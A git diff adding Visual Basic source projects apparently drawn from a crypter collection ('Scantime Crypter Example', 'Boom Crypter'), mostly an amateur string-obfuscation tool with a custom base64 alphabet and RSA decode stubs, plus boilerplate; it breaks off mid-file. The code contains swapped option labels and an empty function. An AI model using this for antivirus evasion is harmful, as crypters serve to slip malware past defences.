(Scantime Crypter Example/crypterstub/crypterstub/crypterstub.vbproj.user b/scode (Scantime Crypter Example/crypterstub/crypterstub/crypterstub.vbproj.user new file mode 100644 index 0000000..cd2e7cb --- /dev/null +++ b/scode (Scantime Crypter Example/crypterstub/crypterstub/crypterstub.vbproj.user @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/scode (Algorithm Encrypt/Algorithm Encrypt By Mohmaed.sln b/scode (Algorithm Encrypt/Algorithm Encrypt By Mohmaed.sln new file mode 100644 index 0000000..41bb342 --- /dev/null +++ b/scode (Algorithm Encrypt/Algorithm Encrypt By Mohmaed.sln @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Express 2012 for Windows Desktop +Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "Algorithm Encrypt By Mohmaed", "Algorithm Encrypt By Mohmaed\Algorithm Encrypt By Mohmaed.vbproj", "{97498695-EAD8-4AE6-BE8F-9B654B8419F6}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {97498695-EAD8-4AE6-BE8F-9B654B8419F6}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {97498695-EAD8-4AE6-BE8F-9B654B8419F6}.Debug|Any CPU.Build.0 = Debug|Any CPU + {97498695-EAD8-4AE6-BE8F-9B654B8419F6}.Release|Any CPU.ActiveCfg = Release|Any CPU + {97498695-EAD8-4AE6-BE8F-9B654B8419F6}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/scode (Algorithm Encrypt/Algorithm Encrypt By Mohmaed.v11.suo b/scode (Algorithm Encrypt/Algorithm Encrypt By Mohmaed.v11.suo new file mode 100644 index 0000000..b97c9ef Binary files /dev/null and b/scode (Algorithm Encrypt/Algorithm Encrypt By Mohmaed.v11.suo differ diff --git a/scode (Algorithm Encrypt/Algorithm Encrypt By Mohmaed/Algorithm Encrypt By Mohmaed.vbproj b/scode (Algorithm Encrypt/Algorithm Encrypt By Mohmaed/Algorithm Encrypt By Mohmaed.vbproj new file mode 100644 index 0000000..c546561 --- /dev/null +++ b/scode (Algorithm Encrypt/Algorithm Encrypt By Mohmaed/Algorithm Encrypt By Mohmaed.vbproj @@ -0,0 +1,127 @@ + + + + + Debug + AnyCPU + {97498695-EAD8-4AE6-BE8F-9B654B8419F6} + WinExe + Algorithm_Encrypt_By_Mohmaed.My.MyApplication + Algorithm_Encrypt_By_Mohmaed + Algorithm Encrypt By Mohmaed + 512 + WindowsForms + v4.5 + + + AnyCPU + true + full + true + true + bin\Debug\ + Algorithm Encrypt By Mohmaed.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 + + + AnyCPU + pdbonly + false + true + true + bin\Release\ + Algorithm Encrypt By Mohmaed.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 + + + On + + + Binary + + + Off + + + On + + + + + + + + + + + + + + + + + + + + + + + + + + + + Form + + + Form1.vb + Form + + + + True + Application.myapp + + + True + True + Resources.resx + + + True + Settings.settings + True + + + + + Form1.vb + + + VbMyResourcesResXFileCodeGenerator + Resources.Designer.vb + My.Resources + Designer + + + + + MyApplicationCodeGenerator + Application.Designer.vb + + + SettingsSingleFileGenerator + My + Settings.Designer.vb + + + + + + \ No newline at end of file diff --git a/scode (Algorithm Encrypt/Algorithm Encrypt By Mohmaed/App.config b/scode (Algorithm Encrypt/Algorithm Encrypt By Mohmaed/App.config new file mode 100644 index 0000000..49c50e0 --- /dev/null +++ b/scode (Algorithm Encrypt/Algorithm Encrypt By Mohmaed/App.config @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/scode (Algorithm Encrypt/Algorithm Encrypt By Mohmaed/Form1.Designer.vb b/scode (Algorithm Encrypt/Algorithm Encrypt By Mohmaed/Form1.Designer.vb new file mode 100644 index 0000000..57bae97 --- /dev/null +++ b/scode (Algorithm Encrypt/Algorithm Encrypt By Mohmaed/Form1.Designer.vb @@ -0,0 +1,114 @@ + _ +Partial Class Form1 + Inherits System.Windows.Forms.Form + + 'Form overrides dispose to clean up the component list. + _ + Protected Overrides Sub Dispose(ByVal disposing As Boolean) + Try + If disposing AndAlso components IsNot Nothing Then + components.Dispose() + End If + Finally + MyBase.Dispose(disposing) + End Try + End Sub + + 'Required by the Windows Form Designer + Private components As System.ComponentModel.IContainer + + 'NOTE: The following procedure is required by the Windows Form Designer + 'It can be modified using the Windows Form Designer. + 'Do not modify it using the code editor. + _ + Private Sub InitializeComponent() + Me.TextBox1 = New System.Windows.Forms.TextBox() + Me.Button1 = New System.Windows.Forms.Button() + Me.Button2 = New System.Windows.Forms.Button() + Me.Button3 = New System.Windows.Forms.Button() + Me.RadioButton1 = New System.Windows.Forms.RadioButton() + Me.RadioButton2 = New System.Windows.Forms.RadioButton() + Me.SuspendLayout() + ' + 'TextBox1 + ' + Me.TextBox1.Location = New System.Drawing.Point(1, 1) + Me.TextBox1.Multiline = True + Me.TextBox1.Name = "TextBox1" + Me.TextBox1.Size = New System.Drawing.Size(599, 280) + Me.TextBox1.TabIndex = 0 + ' + 'Button1 + ' + Me.Button1.Location = New System.Drawing.Point(12, 288) + Me.Button1.Name = "Button1" + Me.Button1.Size = New System.Drawing.Size(94, 29) + Me.Button1.TabIndex = 1 + Me.Button1.Text = "Encrypt" + Me.Button1.UseVisualStyleBackColor = True + ' + 'Button2 + ' + Me.Button2.Location = New System.Drawing.Point(127, 288) + Me.Button2.Name = "Button2" + Me.Button2.Size = New System.Drawing.Size(114, 29) + Me.Button2.TabIndex = 2 + Me.Button2.Text = "Copy" + Me.Button2.UseVisualStyleBackColor = True + ' + 'Button3 + ' + Me.Button3.Location = New System.Drawing.Point(284, 288) + Me.Button3.Name = "Button3" + Me.Button3.Size = New System.Drawing.Size(112, 29) + Me.Button3.TabIndex = 3 + Me.Button3.Text = "Calaer All" + Me.Button3.UseVisualStyleBackColor = True + ' + 'RadioButton1 + ' + Me.RadioButton1.AutoSize = True + Me.RadioButton1.Location = New System.Drawing.Point(433, 294) + Me.RadioButton1.Name = "RadioButton1" + Me.RadioButton1.Size = New System.Drawing.Size(45, 17) + Me.RadioButton1.TabIndex = 4 + Me.RadioButton1.TabStop = True + Me.RadioButton1.Text = "RSA" + Me.RadioButton1.UseVisualStyleBackColor = True + ' + 'RadioButton2 + ' + Me.RadioButton2.AutoSize = True + Me.RadioButton2.Location = New System.Drawing.Point(523, 294) + Me.RadioButton2.Name = "RadioButton2" + Me.RadioButton2.Size = New System.Drawing.Size(66, 17) + Me.RadioButton2.TabIndex = 5 + Me.RadioButton2.TabStop = True + Me.RadioButton2.Text = " HAZZ15" + Me.RadioButton2.UseVisualStyleBackColor = True + ' + 'Form1 + ' + Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) + Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font + Me.ClientSize = New System.Drawing.Size(601, 320) + Me.Controls.Add(Me.RadioButton2) + Me.Controls.Add(Me.RadioButton1) + Me.Controls.Add(Me.Button3) + Me.Controls.Add(Me.Button2) + Me.Controls.Add(Me.Button1) + Me.Controls.Add(Me.TextBox1) + Me.Name = "Form1" + Me.Text = "Algorithm Encrypt By Mohmaed" + Me.ResumeLayout(False) + Me.PerformLayout() + + End Sub + Friend WithEvents TextBox1 As System.Windows.Forms.TextBox + Friend WithEvents Button1 As System.Windows.Forms.Button + Friend WithEvents Button2 As System.Windows.Forms.Button + Friend WithEvents Button3 As System.Windows.Forms.Button + Friend WithEvents RadioButton1 As System.Windows.Forms.RadioButton + Friend WithEvents RadioButton2 As System.Windows.Forms.RadioButton + +End Class diff --git a/scode (Algorithm Encrypt/Algorithm Encrypt By Mohmaed/Form1.resx b/scode (Algorithm Encrypt/Algorithm Encrypt By Mohmaed/Form1.resx new file mode 100644 index 0000000..29dcb1b --- /dev/null +++ b/scode (Algorithm Encrypt/Algorithm Encrypt By Mohmaed/Form1.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/scode (Algorithm Encrypt/Algorithm Encrypt By Mohmaed/Form1.vb b/scode (Algorithm Encrypt/Algorithm Encrypt By Mohmaed/Form1.vb new file mode 100644 index 0000000..5df802d --- /dev/null +++ b/scode (Algorithm Encrypt/Algorithm Encrypt By Mohmaed/Form1.vb @@ -0,0 +1,106 @@ +Imports System.Text +Imports System.Security.Cryptography +Imports System.Threading + +Public Class Form1 + + Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click + If (Me.TextBox1.TextLength > 250) Then + End If + If Me.RadioButton1.Checked Then + Me.TextBox1.Text = (ChrW(13) & ChrW(10) & "HAZZ15_Decode(""" & Me.HAZZ15_Encode(Me.TextBox1.Text) & """)" & ChrW(13) & ChrW(10) & ChrW(13) & ChrW(10) & "'----------------------------------------------------------------'" & ChrW(13) & ChrW(10) & ChrW(13) & ChrW(10) & My.Resources.HAZZ15_Decode) + ElseIf Me.RadioButton2.Checked Then + Me.TextBox1.Text = (ChrW(13) & ChrW(10) & "RSA_Decrypt(""" & Me.RSA_Encrypt(Me.TextBox1.Text) & """)" & ChrW(13) & ChrW(10) & ChrW(13) & ChrW(10) & "'------------------------------------------------------------------------'" & ChrW(13) & ChrW(10) & ChrW(13) & ChrW(10) & My.Resources.RSA_Decrypt) + Else + Dim flag1 As Boolean = Me.RadioButton1.Checked + End If + MsgBox("Code By شبح ذي قار") + + End Sub + Public Function Ecrypte(ByVal Input As String) As String + Dim cp As New Security.Cryptography.CspParameters + cp.Flags = Security.Cryptography.CspProviderFlags.UseMachineKeyStore + cp.KeyContainerName = "Keys" + Dim RSA As New Security.Cryptography.RSACryptoServiceProvider(cp) + Dim buffer As Byte() = Convert.FromBase64String(Input) + Dim decrypted As Byte() = RSA.Decrypt(buffer, True) + + End Function + + + Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click + Me.TextBox1.Copy() + Me.TextBox1.SelectAll() + MsgBox("جاري النسخ") + End Sub + + Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click + Me.TextBox1.SelectAll() + Me.TextBox1.Clear() + MsgBox("تم تحديد الكل") + End Sub + + Public Function RSA_Encrypt(ByVal Input As String) As String + Dim parameters As New CspParameters With { _ + .Flags = CspProviderFlags.UseMachineKeyStore, _ + .KeyContainerName = "Keys" _ + } + Dim provider As New RSACryptoServiceProvider(parameters) + Dim bytes As Byte() = Encoding.UTF8.GetBytes(Input) + Return Convert.ToBase64String(provider.Encrypt(bytes, True)) + End Function + + + + + + + Public Function HAZZ15_Encode(ByVal input As String) As String + Dim num As Integer + Dim str2 As String = "HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5" + Dim builder As New StringBuilder + Do + Dim num4 As Integer + Dim numArray2 As Integer() = New Integer(4 - 1) {} + Dim numArray As Integer() = New Integer() {0, 0, 0} + Dim index As Integer = 0 + Do + If (num < input.Length) Then + numArray(index) = Strings.Asc(input.Chars(num)) + End If + num += 1 + index += 1 + num4 = 2 + Loop While (index <= num4) + numArray2(0) = (numArray(0) >> 2) + numArray2(1) = (((numArray(0) And 3) << 4) Or (numArray(1) >> 4)) + numArray2(2) = (((numArray(1) And 15) << 2) Or (numArray(2) >> 6)) + numArray2(3) = (numArray(2) And &H3F) + If (numArray(1) = 0) Then + numArray2(2) = &H40 + numArray2(3) = &H40 + End If + If (numArray(2) = 0) Then + numArray2(3) = &H40 + End If + Dim num3 As Integer + For Each num3 In numArray2 + builder.Append(str2.Chars(num3)) + Next + Loop While (num < input.Length) + Return builder.ToString + End Function + + Private Sub RadioButton3_CheckedChanged(ByVal sender As Object, ByVal e As EventArgs) + + End Sub + + + Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load + + End Sub + + Private Sub RadioButton2_CheckedChanged(sender As Object, e As EventArgs) Handles RadioButton2.CheckedChanged + + End Sub +End Class diff --git a/scode (Algorithm Encrypt/Algorithm Encrypt By Mohmaed/My Project/Application.Designer.vb b/scode (Algorithm Encrypt/Algorithm Encrypt By Mohmaed/My Project/Application.Designer.vb new file mode 100644 index 0000000..8f249f5 --- /dev/null +++ b/scode (Algorithm Encrypt/Algorithm Encrypt By Mohmaed/My Project/Application.Designer.vb @@ -0,0 +1,38 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.42000 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + 'NOTE: This file is auto-generated; do not modify it directly. To make changes, + ' or if you encounter build errors in this file, go to the Project Designer + ' (go to Project Properties or double-click the My Project node in + ' Solution Explorer), and make changes on the Application tab. + ' + Partial Friend Class MyApplication + + _ + Public Sub New() + MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows) + Me.IsSingleInstance = false + Me.EnableVisualStyles = true + Me.SaveMySettingsOnExit = true + Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses + End Sub + + _ + Protected Overrides Sub OnCreateMainForm() + Me.MainForm = Global.Algorithm_Encrypt_By_Mohmaed.Form1 + End Sub + End Class +End Namespace diff --git a/scode (Algorithm Encrypt/Algorithm Encrypt By Mohmaed/My Project/Application.myapp b/scode (Algorithm Encrypt/Algorithm Encrypt By Mohmaed/My Project/Application.myapp new file mode 100644 index 0000000..7b0c597 --- /dev/null +++ b/scode (Algorithm Encrypt/Algorithm Encrypt By Mohmaed/My Project/Application.myapp @@ -0,0 +1,11 @@ + + + true + Form1 + false + 0 + true + 0 + 0 + true + diff --git a/scode (Algorithm Encrypt/Algorithm Encrypt By Mohmaed/My Project/AssemblyInfo.vb b/scode (Algorithm Encrypt/Algorithm Encrypt By Mohmaed/My Project/AssemblyInfo.vb new file mode 100644 index 0000000..0882f77 --- /dev/null +++ b/scode (Algorithm Encrypt/Algorithm Encrypt By Mohmaed/My Project/AssemblyInfo.vb @@ -0,0 +1,35 @@ +Imports System +Imports System.Reflection +Imports System.Runtime.InteropServices + +' General Information about an assembly is controlled through the following +' set of attributes. Change these attribute values to modify the information +' associated with an assembly. + +' Review the values of the assembly attributes + + + + + + + + + + +'The following GUID is for the ID of the typelib if this project is exposed to COM + + +' Version information for an assembly consists of the following four values: +' +' Major Version +' Minor Version +' Build Number +' Revision +' +' You can specify all the values or you can default the Build and Revision Numbers +' by using the '*' as shown below: +' + + + diff --git a/scode (Algorithm Encrypt/Algorithm Encrypt By Mohmaed/My Project/Resources.Designer.vb b/scode (Algorithm Encrypt/Algorithm Encrypt By Mohmaed/My Project/Resources.Designer.vb new file mode 100644 index 0000000..e82f44b --- /dev/null +++ b/scode (Algorithm Encrypt/Algorithm Encrypt By Mohmaed/My Project/Resources.Designer.vb @@ -0,0 +1,113 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.42000 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + +Imports System + +Namespace My.Resources + + 'This class was auto-generated by the StronglyTypedResourceBuilder + 'class via a tool like ResGen or Visual Studio. + 'To add or remove a member, edit your .ResX file then rerun ResGen + 'with the /str option, or rebuild your VS project. + ''' + ''' A strongly-typed resource class, for looking up localized strings, etc. + ''' + _ + Friend Module Resources + + Private resourceMan As Global.System.Resources.ResourceManager + + Private resourceCulture As Global.System.Globalization.CultureInfo + + ''' + ''' Returns the cached ResourceManager instance used by this class. + ''' + _ + Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager + Get + If Object.ReferenceEquals(resourceMan, Nothing) Then + Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("Algorithm_Encrypt_By_Mohmaed.Resources", GetType(Resources).Assembly) + resourceMan = temp + End If + Return resourceMan + End Get + End Property + + ''' + ''' Overrides the current thread's CurrentUICulture property for all + ''' resource lookups using this strongly typed resource class. + ''' + _ + Friend Property Culture() As Global.System.Globalization.CultureInfo + Get + Return resourceCulture + End Get + Set + resourceCulture = value + End Set + End Property + + ''' + ''' Looks up a localized string similar to Public Function HAZZ15_Decode(ByVal input As String) As String + '''Dim key As String = "HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5" + '''Dim out As New System.Text.StringBuilder + '''Dim i As Integer + '''Do + '''Dim enc(3) As Integer + '''Dim chrs() As Integer = {0, 0, 0} + '''For b As Integer = 0 To 3 + '''enc(b) = key.IndexOf(input(i)) + '''i = i + 1 + '''Next + '''chrs(0) = (enc(0) << 2) Or (enc(1) >> 4) + '''chrs(1) = (enc(1) And 15) << 4 Or (enc(2) >> 2) + '''chrs(2) = (enc(2) And 3) << 6 Or enc(3) + '''out.Append(Chr(chrs(0))) + '''If [rest of string was truncated]";. + ''' + Friend ReadOnly Property HAZZ15_Decode() As String + Get + Return ResourceManager.GetString("HAZZ15_Decode", resourceCulture) + End Get + End Property + + ''' + ''' Looks up a localized string similar to Public Function RSA_Decrypt(ByVal Input As String) As String + ''' Dim cp As New Security.Cryptography.CspParameters + ''' cp.Flags = Security.Cryptography.CspProviderFlags.UseMachineKeyStore + ''' cp.KeyContainerName = "Keys" + ''' Dim RSA As New Security.Cryptography.RSACryptoServiceProvider(cp) + ''' Dim buffer As Byte() = Convert.FromBase64String(Input) + ''' Dim decrypted As Byte() = RSA.Decrypt(buffer, True) + ''' Return System.Text.Encoding.UTF8.GetString(decrypted) + ''' End Function. + ''' + Friend ReadOnly Property RSA_Decrypt() As String + Get + Return ResourceManager.GetString("RSA_Decrypt", resourceCulture) + End Get + End Property + + ''' + ''' Looks up a localized string similar to . + ''' + Friend ReadOnly Property ZufallVar() As String + Get + Return ResourceManager.GetString("ZufallVar", resourceCulture) + End Get + End Property + End Module +End Namespace diff --git a/scode (Algorithm Encrypt/Algorithm Encrypt By Mohmaed/My Project/Resources.resx b/scode (Algorithm Encrypt/Algorithm Encrypt By Mohmaed/My Project/Resources.resx new file mode 100644 index 0000000..3f2e5cd --- /dev/null +++ b/scode (Algorithm Encrypt/Algorithm Encrypt By Mohmaed/My Project/Resources.resx @@ -0,0 +1,156 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + Public Function HAZZ15_Decode(ByVal input As String) As String +Dim key As String = "HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5" +Dim out As New System.Text.StringBuilder +Dim i As Integer +Do +Dim enc(3) As Integer +Dim chrs() As Integer = {0, 0, 0} +For b As Integer = 0 To 3 +enc(b) = key.IndexOf(input(i)) +i = i + 1 +Next +chrs(0) = (enc(0) << 2) Or (enc(1) >> 4) +chrs(1) = (enc(1) And 15) << 4 Or (enc(2) >> 2) +chrs(2) = (enc(2) And 3) << 6 Or enc(3) +out.Append(Chr(chrs(0))) +If enc(2) <> 64 Then out.Append(Chr(chrs(1))) +If enc(3) <> 64 Then out.Append(Chr(chrs(2))) +Loop While i < input.Length +Return out.ToString +End Function + + + Public Function RSA_Decrypt(ByVal Input As String) As String + Dim cp As New Security.Cryptography.CspParameters + cp.Flags = Security.Cryptography.CspProviderFlags.UseMachineKeyStore + cp.KeyContainerName = "Keys" + Dim RSA As New Security.Cryptography.RSACryptoServiceProvider(cp) + Dim buffer As Byte() = Convert.FromBase64String(Input) + Dim decrypted As Byte() = RSA.Decrypt(buffer, True) + Return System.Text.Encoding.UTF8.GetString(decrypted) + End Function + + + + + \ No newline at end of file diff --git a/scode (Algorithm Encrypt/Algorithm Encrypt By Mohmaed/My Project/Settings.Designer.vb b/scode (Algorithm Encrypt/Algorithm Encrypt By Mohmaed/My Project/Settings.Designer.vb new file mode 100644 index 0000000..fd2da34 --- /dev/null +++ b/scode (Algorithm Encrypt/Algorithm Encrypt By Mohmaed/My Project/Settings.Designer.vb @@ -0,0 +1,73 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.42000 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + _ + Partial Friend NotInheritable Class MySettings + Inherits Global.System.Configuration.ApplicationSettingsBase + + Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings), MySettings) + +#Region "My.Settings Auto-Save Functionality" +#If _MyType = "WindowsForms" Then + Private Shared addedHandler As Boolean + + Private Shared addedHandlerLockObject As New Object + + _ + Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs) + If My.Application.SaveMySettingsOnExit Then + My.Settings.Save() + End If + End Sub +#End If +#End Region + + Public Shared ReadOnly Property [Default]() As MySettings + Get + +#If _MyType = "WindowsForms" Then + If Not addedHandler Then + SyncLock addedHandlerLockObject + If Not addedHandler Then + AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings + addedHandler = True + End If + End SyncLock + End If +#End If + Return defaultInstance + End Get + End Property + End Class +End Namespace + +Namespace My + + _ + Friend Module MySettingsProperty + + _ + Friend ReadOnly Property Settings() As Global.Algorithm_Encrypt_By_Mohmaed.My.MySettings + Get + Return Global.Algorithm_Encrypt_By_Mohmaed.My.MySettings.Default + End Get + End Property + End Module +End Namespace diff --git a/scode (Algorithm Encrypt/Algorithm Encrypt By Mohmaed/My Project/Settings.settings b/scode (Algorithm Encrypt/Algorithm Encrypt By Mohmaed/My Project/Settings.settings new file mode 100644 index 0000000..377f56d --- /dev/null +++ b/scode (Algorithm Encrypt/Algorithm Encrypt By Mohmaed/My Project/Settings.settings @@ -0,0 +1,7 @@ + + + + + + + diff --git a/scode (Boom Crypter Source/.DS_Store b/scode (Boom Crypter Source/.DS_Store new file mode 100644 index 0000000..ce6e86f Binary files /dev/null and b/scode (Boom Crypter Source/.DS_Store differ diff --git a/scode (Boom Crypter Source/Boom Crypter/Boom Crypter.sln b/scode (Boom Crypter Source/Boom Crypter/Boom Crypter.sln new file mode 100644 index 0000000..02a2964 --- /dev/null +++ b/scode (Boom Crypter Source/Boom Crypter/Boom Crypter.sln @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 11.00 +# Visual Basic Express 2010 +Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "Boom Crypter", "Boom Crypter\Boom Crypter.vbproj", "{F93FD261-C1F4-49E1-BD7D-D409E5FBBA9C}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x86 = Debug|x86 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {F93FD261-C1F4-49E1-BD7D-D409E5FBBA9C}.Debug|x86.ActiveCfg = Debug|x86 + {F93FD261-C1F4-49E1-BD7D-D409E5FBBA9C}.Debug|x86.Build.0 = Debug|x86 + {F93FD261-C1F4-49E1-BD7D-D409E5FBBA9C}.Release|x86.ActiveCfg = Release|x86 + {F93FD261-C1F4-49E1-BD7D-D409E5FBBA9C}.Release|x86.Build.0 = Release|x86 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/scode (Boom Crypter Source/Boom Crypter/Boom Crypter.suo b/scode (Boom Crypter Source/Boom Crypter/Boom Crypter.suo new file mode 100644 index 0000000..21d1b9e Binary files /dev/null and b/scode (Boom Crypter Source/Boom Crypter/Boom Crypter.suo differ diff --git a/scode (Boom Crypter Source/Boom Crypter/Boom Crypter/1308752753_bomb-explosive-icon.ico b/scode (Boom Crypter Source/Boom Crypter/Boom Crypter/1308752753_bomb-explosive-icon.ico new file mode 100644 index 0000000..94254f1 Binary files /dev/null and b/scode (Boom Crypter Source/Boom Crypter/Boom Crypter/1308752753_bomb-explosive-icon.ico differ diff --git a/scode (Boom Crypter Source/Boom Crypter/Boom Crypter/Boom Crypter.vbproj b/scode (Boom Crypter Source/Boom Crypter/Boom Crypter/Boom Crypter.vbproj new file mode 100644 index 0000000..74876ec --- /dev/null +++ b/scode (Boom Crypter Source/Boom Crypter/Boom Crypter/Boom Crypter.vbproj @@ -0,0 +1,132 @@ + + + + Debug + x86 + + + 2.0 + {F93FD261-C1F4-49E1-BD7D-D409E5FBBA9C} + WinExe + Boom_Crypter.My.MyApplication + Boom_Crypter + Boom Crypter + 512 + WindowsForms + v2.0 + + + + + x86 + true + full + true + true + bin\Debug\ + Boom Crypter.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 + + + x86 + pdbonly + false + true + true + bin\Release\ + Boom Crypter.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 + + + On + + + Binary + + + Off + + + On + + + 1308752753_bomb-explosive-icon.ico + + + + + + + + + + + + + + + + + + + Form + + + Form1.vb + Form + + + + + True + Application.myapp + + + True + True + Resources.resx + + + True + Settings.settings + True + + + + + + Form1.vb + + + VbMyResourcesResXFileCodeGenerator + Resources.Designer.vb + My.Resources + Designer + + + + + + MyApplicationCodeGenerator + Application.Designer.vb + + + SettingsSingleFileGenerator + My + Settings.Designer.vb + + + + + + + + + + \ No newline at end of file diff --git a/scode (Boom Crypter Source/Boom Crypter/Boom Crypter/Boom Crypter.vbproj.user b/scode (Boom Crypter Source/Boom Crypter/Boom Crypter/Boom Crypter.vbproj.user new file mode 100644 index 0000000..695b5c7 --- /dev/null +++ b/scode (Boom Crypter Source/Boom Crypter/Boom Crypter/Boom Crypter.vbproj.user @@ -0,0 +1,3 @@ + + + \ No newline at end of file diff --git a/scode (Boom Crypter Source/Boom Crypter/Boom Crypter/Class1.vb b/scode (Boom Crypter Source/Boom Crypter/Boom Crypter/Class1.vb new file mode 100644 index 0000000..5f28270 --- /dev/null +++ b/scode (Boom Crypter Source/Boom Crypter/Boom Crypter/Class1.vb @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/scode (Boom Crypter Source/Boom Crypter/Boom Crypter/Form1.Designer.vb b/scode (Boom Crypter Source/Boom Crypter/Boom Crypter/Form1.Designer.vb new file mode 100644 index 0000000..489b6ec --- /dev/null +++ b/scode (Boom Crypter Source/Boom Crypter/Boom Crypter/Form1.Designer.vb @@ -0,0 +1,357 @@ + _ +Partial Class Form1 + Inherits System.Windows.Forms.Form + + 'Form overrides dispose to clean up the component list. + _ + Protected Overrides Sub Dispose(ByVal disposing As Boolean) + Try + If disposing AndAlso components IsNot Nothing Then + components.Dispose() + End If + Finally + MyBase.Dispose(disposing) + End Try + End Sub + + 'Required by the Windows Form Designer + Private components As System.ComponentModel.IContainer + + 'NOTE: The following procedure is required by the Windows Form Designer + 'It can be modified using the Windows Form Designer. + 'Do not modify it using the code editor. + _ + Private Sub InitializeComponent() + Me.components = New System.ComponentModel.Container() + Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Form1)) + Me.TextBox1 = New System.Windows.Forms.TextBox() + Me.Button1 = New System.Windows.Forms.Button() + Me.Button2 = New System.Windows.Forms.Button() + Me.TextBox2 = New System.Windows.Forms.TextBox() + Me.Button3 = New System.Windows.Forms.Button() + Me.TextBox3 = New System.Windows.Forms.TextBox() + Me.Button4 = New System.Windows.Forms.Button() + Me.PictureBox1 = New System.Windows.Forms.PictureBox() + Me.CheckBox1 = New System.Windows.Forms.CheckBox() + Me.CheckBox2 = New System.Windows.Forms.CheckBox() + Me.CheckBox3 = New System.Windows.Forms.CheckBox() + Me.GroupBox1 = New System.Windows.Forms.GroupBox() + Me.GroupBox2 = New System.Windows.Forms.GroupBox() + Me.GroupBox3 = New System.Windows.Forms.GroupBox() + Me.RadioButton5 = New System.Windows.Forms.RadioButton() + Me.RadioButton4 = New System.Windows.Forms.RadioButton() + Me.RadioButton3 = New System.Windows.Forms.RadioButton() + Me.RadioButton2 = New System.Windows.Forms.RadioButton() + Me.RadioButton1 = New System.Windows.Forms.RadioButton() + Me.Timer1 = New System.Windows.Forms.Timer(Me.components) + Me.ProgressBar1 = New System.Windows.Forms.ProgressBar() + Me.CheckBox4 = New System.Windows.Forms.CheckBox() + Me.Label1 = New System.Windows.Forms.Label() + CType(Me.PictureBox1, System.ComponentModel.ISupportInitialize).BeginInit() + Me.GroupBox1.SuspendLayout() + Me.GroupBox2.SuspendLayout() + Me.GroupBox3.SuspendLayout() + Me.SuspendLayout() + ' + 'TextBox1 + ' + Me.TextBox1.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.TextBox1.Font = New 